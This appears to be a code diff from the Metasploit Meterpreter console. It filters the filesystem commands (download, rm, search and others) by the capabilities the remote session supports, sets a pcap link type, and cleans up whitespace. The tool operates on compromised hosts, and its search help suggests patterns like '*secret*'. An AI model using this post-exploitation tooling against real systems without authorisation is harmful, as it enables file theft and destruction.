fd = ::File.new(path_cap, 'wb+')
- fd.write([0xa1b2c3d4, 2, 4, 0, 0, 65536, 1].pack('NnnNNNN'))
+ fd.write([0xa1b2c3d4, 2, 4, 0, 0, 65536, linktype].pack('NnnNNNN'))
end
pkts = {}
View
72 lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb
@@ -34,24 +34,56 @@ class Console::CommandDispatcher::Stdapi::Fs
# List of supported commands.
#
def commands
- {
+ all = {
"cat" => "Read the contents of a file to the screen",
"cd" => "Change directory",
+ "del" => "Delete the specified file",
"download" => "Download a file or directory",
"edit" => "Edit a file",
+ "getlwd" => "Print local working directory",
"getwd" => "Print working directory",
+ "lcd" => "Change local working directory",
+ "lpwd" => "Print local working directory",
"ls" => "List files",
"mkdir" => "Make directory",
"pwd" => "Print working directory",
+ "rm" => "Delete the specified file",
"rmdir" => "Remove directory",
+ "search" => "Search for files",
"upload" => "Upload a file or directory",
- "lcd" => "Change local working directory",
- "getlwd" => "Print local working directory",
- "lpwd" => "Print local working directory",
- "rm" => "Delete the specified file",
- "del" => "Delete the specified file",
- "search" => "Search for files"
}
+
+ reqs = {
+ "cat" => [ ],
+ "cd" => [ "stdapi_fs_chdir" ],
+ "del" => [ "stdapi_fs_rm" ],
+ "download" => [ ],
+ "edit" => [ ],
+ "getlwd" => [ ],
+ "getwd" => [ "stdapi_fs_getwd" ],
+ "lcd" => [ ],
+ "lpwd" => [ ],
+ "ls" => [ "stdapi_fs_stat", "stdapi_fs_ls" ],
+ "mkdir" => [ "stdapi_fs_mkdir" ],
+ "pwd" => [ "stdapi_fs_getwd" ],
+ "rmdir" => [ "stdapi_fs_delete_dir" ],
+ "rm" => [ "stdapi_fs_rm" ],
+ "search" => [ "stdapi_fs_search" ],
+ "upload" => [ ],
+ }
+
+ all.delete_if do |cmd, desc|
+ del = false
+ reqs[cmd].each do |req|
+ next if client.commands.include? req
+ del = true
+ break
+ end
+
+ del
+ end
+
+ all
end
#
@@ -65,18 +97,18 @@ def name
# Search for files.
#
def cmd_search( *args )
-
+
root = nil
glob = nil
recurse = true
-
+
opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help Banner." ],
"-d" => [ true, "The directory/drive to begin searching from. Leave empty to search all drives. (Default: #{root})" ],
"-f" => [ true, "The file pattern glob to search for. (e.g. *secret*.doc?)" ],
"-r" => [ true, "Recursivly search sub directories. (Default: #{recurse})" ]
)
-
+
opts.parse(args) { | opt, idx, val |
case opt
when "-h"
@@ -92,14 +124,14 @@ def cmd_search( *args )
recurse = false if( val =~ /^(f|n|0)/i )
end
}
-
+
if( not glob )
print_error( "You must specify a valid file glob to search for, e.g. >search -f *.doc" )
return
end
-
+
files = client.fs.file.search( root, glob, recurse )
-
+
if( not files.empty? )
print_line( "Found #{files.length} result#{ files.length > 1 ? 's' : '' }..." )
files.each do | file |
@@ -112,9 +144,9 @@ def cmd_search( *args )
else